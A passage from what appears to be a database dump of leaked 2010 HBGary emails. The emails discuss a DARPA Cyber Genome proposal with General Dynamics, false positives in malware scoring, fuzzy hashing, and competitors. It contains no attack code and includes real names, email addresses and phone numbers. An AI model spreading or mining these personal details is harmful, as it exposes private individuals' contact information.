maybe could also increase the heat value?&nbsp;Check out Jesse Kornblum tool:&nbsp;http://windowsir.blogspot.com/2006/07/genius-kornblum-on-fuzzy-hashing.html&nbsp;&nbsp;On Mar 1, 2010, at 8:43 AM, Bob Slapnik wrote:Aaron,&nbsp;This is a bigger conversation with Greg, Phil and Rich, but here is my take on it.&nbsp; The short and current answer is “yes”.&nbsp; DDNA flags binaries as malware that look and act like malware.&nbsp; It turns out that some good software acts like malware so it scores high.&nbsp; Examples are host security products.&nbsp; We view that as DDNA giving accurate results, but in practice our customers get no value from every host in the enterprise reporting “red” (since every host has security and possibly other software that act like malware).&nbsp;HBGary is dealing with the false positive problem as we speak.&nbsp; A first pass solution was to give customers an easy way to filter good software from the reports, but this is just a bandaide short term answer.&nbsp; The reason the report filtering approach is faulty is because filtered software could actually have evil code injected into it.&nbsp; This is the fault with disk based hashing.&nbsp; Saying it is good on disk does not ensure secure in RAM during execution.&nbsp;The HBGary development team is currently approaching the false positives problem from a more fundamental level.&nbsp; The objective is that all software will have its DDNA score reported.&nbsp; Software such as security tools will have its score “cooled off” so it doesn’t show up as malware, but it will reporting as a cooler color.&nbsp; This leaves open the possibility that if bad code gets injected it could get heated back up as red or orange.&nbsp;There is also development work around “fuzzy hashing” in RAM.&nbsp; My info is sketchy at best and might be flat out incorrect…… I “think” customers will be able to take fuzzy hashes (whatever that means) of gold images – these results are stored.&nbsp; Then during deployment DDNA scores (or maybe something else) are compared to the gold images.&nbsp; If the variance is greater than some pre-specified amount, then the binary is flagged.&nbsp; There is a lot more to this than I know.&nbsp; And I’ll bet from a research perspective we are just scratching the surface today.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 8:26 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;Bob,&nbsp;Do we get a lot of false postiives with DDNA?&nbsp;&nbsp;On Mar 1, 2010, at 8:11 AM, Bob Slapnik wrote:Aaron,&nbsp;Is GD taking the lead in the proposal creation?&nbsp; Seems unusual for them to send out this doc when NG is the prime for #1.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Rodriguez, Harold [mailto:Harold.Rodriguez@gd-ais.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 7:47 AMTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.comCc:&nbsp;Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject:&nbsp;RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;Good Morning,&nbsp;Here is an updated document adding a column for metrics/measures of success.&nbsp;Best regards,&nbsp;Harold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409GDAIS: (240) 456-5600 x8028&nbsp;From:&nbsp;Rodriguez, HaroldSent:&nbsp;Sun 2/28/2010 11:46 PMTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.comCc:&nbsp;Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject:&nbsp;DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AISAaron, Rich, Bob, Greg,&nbsp;I am currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber Genome technical&nbsp;proposal.&nbsp;For this technical area, could you please look at the attached document and provide some of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH ideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one (1) or (2) technical papers in the area.&nbsp;In the attached document I tried to provide couple of examples, but feel free to add the information you feel is appropriate.&nbsp;Best regards and thank you!&nbsp;Harold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409GDAIS: (240) 456-5600 x8028&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6211,'aaron_hbgary_com/6211.html'),(3237,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001504.M357645P3547Q3237.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Looking at Harold\'s doc','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI wonder what Van Putte&#8217;s definition of &#8220;automated\r\nexecution tree&#8221; is?\r\n\r\n&nbsp;\r\n\r\nOur control flow graphs might be what he is asking for, but who\r\nknows?&nbsp; I can see this from many points of view&#8230;&#8230;..\r\n\r\n&nbsp;\r\n\r\nArgument that a control flow graph is NOT an automated execution\r\ntree.&nbsp; Reason &#8211; static disassembly of a binary shows the code and\r\nbranches in a control flow graph even if the code branch has not been\r\nexecuted.&nbsp; It is just a display of the code.\r\n\r\n&nbsp;\r\n\r\nIf &#8220;execution&#8221; is required then the AFR conversation\r\nmight come into play.\r\n\r\n&nbsp;\r\n\r\nGreg&#8217;s thinking and s/w development may have evolved past\r\nthese areas.&nbsp; Responder looks at binaries in the context of data in\r\nmemory.&nbsp; It sees how the binary touches other binaries (e.g., Windows\r\nlibraries and utilities), what data and buffers it uses, where the pointers go,\r\netc.&nbsp; This is static analysis of data acquired dynamically.\r\n\r\n&nbsp;\r\n\r\nWe need to frame up the questions and get Greg talking.\r\n\r\n&nbsp;\r\n\r\nMaybe I should hold up on sending you AFR docs because I&#8217;m\r\nafraid it could take us down a rat hole.&nbsp; Let&#8217;s talk to Greg about\r\nit.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 01, 2010 9:25 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Looking at Harold\'s doc\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nunderstood but the problem still seems unsolved. &nbsp;I\r\nwould like to get those docs and any others we have written related to\r\nautomated malware analysis. &nbsp;I need to consume as much as possible.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen it comes to behavior based analysis all the literature\r\ntalks about the combination of static and dynamic (sandbox) analysis. &nbsp;I\r\ndon\'t see much on debuggers. &nbsp;Would this be important to resurrect you\r\nthink?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nUnderstand on the rest. &nbsp;What seems to be being asked\r\nis, automated analysis of softwares dependencies so you can fully\r\nexecute/exercise the software within a sandbox, to list there example. &nbsp;We\r\ndon\'t do automated execution trees? &nbsp;Isn\'t that the same thing as\r\nprocess/control flow?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 9:13 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis\r\nemail is for your consumption, not theirs until maybe you sanitize it.&nbsp;\r\nHarold&#8217;s doc rehashes thinking HBGary did 4-5 years ago and I&#8217;ll\r\nbet DARPA would not have seen it as far reaching even back then.&nbsp; If this\r\nis GD&#8217;s opening to structure the conversation, then to me they&#8217;ve\r\nproven they are not thought leaders in this arena&#8230;&#8230;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&#8220;forcing\r\nexecution of all branches&#8221; &#8211; Wow!&nbsp; HBGary had a Phase I and\r\nPhase II SBIR contract with AFRL (started in 2005) to develop exactly this\r\nalong with other r/e goals.&nbsp; We called it Automated Flow Resolution.&nbsp;\r\nThe idea was that the runtime r/e system automatically figures out what data\r\ninput must be to force execution of all code branches.&nbsp; We were successful\r\nat developing an AFR prototype, but overall it FAILED.&nbsp; A developer (who\r\nno longer works for HBGary) was assigned to figure out the underlying math\r\nproblems.&nbsp; In truth he wasn&#8217;t supervised well and produced\r\nsquat.&nbsp; To this day Greg contends that if he had worked the problem itself\r\nwe would have a product today doing this.&nbsp; We have many past docs on AFR.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMore\r\nhistory&#8230;&#8230;. Inspector, a product that predates Responder, had a user\r\nmode debugger.&nbsp; (Debugging is required for AFR.)&nbsp; Greg killed the\r\ndebugger saying that HBGary was not equipped or skilled enough to continually\r\nmaintain a debugger.&nbsp; We now have REcon which is a runtime tracing system,\r\nnot an interactive debugger.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&#8220;Obfuscation\r\ntechniques&#8221; &#8211; Our other AFRL Phase I and Phase II contracts had to\r\ndo with identifying and overcoming obfuscation.&nbsp; Our proposal delineated\r\ndozens of obfuscation techniques, but in reality the final deliverable was\r\nREcon.&nbsp; Its idea is that the vast majority of obfuscation techniques are\r\novercome simply by extracting the malware from memory.&nbsp; I suspect there is\r\nmore work that can be done for more challenging forms of obfuscation.&nbsp; I\r\nview this as a &#8220;down in the weeds&#8221; problem.&nbsp; While this is an\r\nimportant consideration, I think DARPA wants bigger thinking.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMalware\r\ndecompilation, automated disassembly, call graphs,&#8230;&#8230;&#8230;.\r\nWe&#8217;ve already built this in our shipping product.&nbsp; This is not\r\ninnovative thinking.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14103,'aaron_hbgary_com/14103.html'),(3238,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001504.M587888P3547Q3238.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHe is a pet rock guy at GD.&nbsp; He is a malware r/e guy.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 01, 2010 9:38 AM\r\nTo: Bob Slapnik\r\nSubject: Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General\r\nDynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWho is Daniel Raygoza?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 9:29 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think so.&nbsp; Was ManTech at the Industry Day?&nbsp; They\r\nhave talent to compete with us.&nbsp; Their old Aegis group has tons of r/e\r\ntalent.&nbsp; They&#8217;ve built tools too.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, March 01,\r\n2010 9:09 AM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Re: DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nis Kornblum still with Mantech?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 9:04 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYour questions are out of my league.&nbsp; You need to go to\r\nGreg.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI suspect (don&#8217;t know) that Greg&#8217;s use of the word &#8220;fuzzy\r\nhashing&#8221; and Kornblum&#8217;s are different.&nbsp; Also, Guidance Software now has\r\ncommercial software for fuzzy hashing.&nbsp; The term fuzzy hashing has been\r\nkicked around for years.&nbsp; For the sake of appearing innovative and far\r\nreaching, we should NOT use the term fuzzy hashing.&nbsp; We need to invent a\r\nnew term.&nbsp; Maybe Greg has already.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, March 01,\r\n2010 8:59 AM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Re: DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYep makes sense. &nbsp;Thats a tough one. &nbsp;Fuzzy\r\nhashing as one methodology to help sounds interesting. &nbsp;Changes in\r\nprofiles would be another. &nbsp;If when executed you developed a software\r\nprofile for execution, communication, etc. &nbsp;Changes to that profile maybe\r\ncould also increase the heat value?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheck out Jesse Kornblum tool:&nbsp;http://windowsir.blogspot.com/2006/07/genius-kornblum-on-fuzzy-hashing.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 8:43 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis is a bigger conversation with Greg, Phil and Rich, but here\r\nis my take on it.&nbsp; The short and current answer is &#8220;yes&#8221;.&nbsp; DDNA flags\r\nbinaries as malware that look and act like malware.&nbsp; It turns out that\r\nsome good software acts like malware so it scores high.&nbsp; Examples are host\r\nsecurity products.&nbsp; We view that as DDNA giving accurate results, but in\r\npractice our customers get no value from every host in the enterprise reporting\r\n&#8220;red&#8221; (since every host has security and possibly other software that act like\r\nmalware).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary is dealing with the false positive problem as we\r\nspeak.&nbsp; A first pass solution was to give customers an easy way to filter\r\ngood software from the reports, but this is just a bandaide short term\r\nanswer.&nbsp; The reason the report filtering approach is faulty is because\r\nfiltered software could actually have evil code injected into it.&nbsp; This is\r\nthe fault with disk based hashing.&nbsp; Saying it is good on disk does not\r\nensure secure in RAM during execution.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe HBGary development team is currently approaching the false\r\npositives problem from a more fundamental level.&nbsp; The objective is that\r\nall software will have its DDNA score reported.&nbsp; Software such as security\r\ntools will have its score &#8220;cooled off&#8221; so it doesn&#8217;t show up as malware, but it\r\nwill reporting as a cooler color.&nbsp; This leaves open the possibility that\r\nif bad code gets injected it could get heated back up as red or orange.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThere is also development work around &#8220;fuzzy hashing&#8221; in\r\nRAM.&nbsp; My info is sketchy at best and might be flat out incorrect&#8230;&#8230; I\r\n&#8220;think&#8221; customers will be able to take fuzzy hashes (whatever that means) of\r\ngold images &#8211; these results are stored.&nbsp; Then during deployment DDNA\r\nscores (or maybe something else) are compared to the gold images.&nbsp; If the\r\nvariance is greater than some pre-specified amount, then the binary is\r\nflagged.&nbsp; There is a lot more to this than I know.&nbsp; And I&#8217;ll bet from\r\na research perspective we are just scratching the surface today.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, March 01,\r\n2010 8:26 AM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Re: DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo we get a lot of false postiives with DDNA?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 8:11 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs GD taking the lead in the proposal creation?&nbsp; Seems\r\nunusual for them to send out this doc when NG is the prime for #1.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Rodriguez, Harold\r\n[mailto:Harold.Rodriguez@gd-ais.com]&nbsp;\r\nSent:&nbsp;Monday, March 01,\r\n2010 7:47 AM\r\nTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.com\r\nCc:&nbsp;Upchurch, Jason R.;\r\nStarr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.\r\nSubject:&nbsp;RE: DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood Morning,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nis an updated document adding a column for metrics/measures of success.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold Rodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410)\r\n694-6409\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Rodriguez, Harold\r\nSent:&nbsp;Sun 2/28/2010 11:46\r\nPM\r\nTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.com\r\nCc:&nbsp;Upchurch, Jason R.;\r\nStarr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.\r\nSubject:&nbsp;DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nRich, Bob, Greg,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber\r\nGenome technical&nbsp;proposal.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFor\r\nthis technical area, could you please look at the attached document and provide\r\nsome of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH\r\nideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one\r\n(1) or (2) technical papers in the area.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nthe attached document I tried to provide couple of examples, but feel free to\r\nadd the information you feel is appropriate.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards and thank you!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold\r\nRodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410) 694-6409\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG 